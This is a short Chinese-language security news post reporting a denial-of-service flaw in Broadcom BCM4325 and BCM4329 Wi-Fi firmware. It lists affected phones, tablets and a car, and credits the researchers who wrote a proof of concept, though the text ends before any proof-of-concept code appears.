此次出現漏洞的是Broadcom的無線網卡固件，型號為BCM4325和BCM4329，攻擊者可以通過發送特定的無線網路資料包導致拒絕服務攻擊。
主要影響的設備有：
- BCM4325
- Apple iPhone 3GS
- Apple iPod 2G
- HTC Touch Pro 2
- HTC Droid Incredible
- Samsung Spica
- Acer Liquid
- Motorola Devour
- Ford Edge (yes, it’s a car)
- BCM4329
- Apple iPhone 4
- Apple iPhone 4 Verizon
- Apple iPod 3G
- Apple iPad Wi-Fi
- Apple iPad 3G
- Apple iPad 2
- Apple Tv 2G
- Motorola Xoom
- Motorola Droid X2
- Motorola Atrix
- Samsung Galaxy Tab
- Samsung Galaxy S 4G
- Samsung Nexus S
- Samsung Stratosphere
- Samsung Fascinate
- HTC Nexus One
- HTC Evo 4G
- HTC ThunderBolt
- HTC Droid Incredible 2
- LG Revolution
- Sony Ericsson Xperia Play
- Pantech Breakout
- Nokia Lumina 800
- Kyocera Echo
- Asus Transformer Prime
- Malata ZPad
可以看到蘋果三星都在其中，估計影響的範圍是比較大的。漏洞由Andres Blanco發現，Core Impact team的 Andres Blanco和 Matias Eissler寫出了漏洞的POC，POC如下：
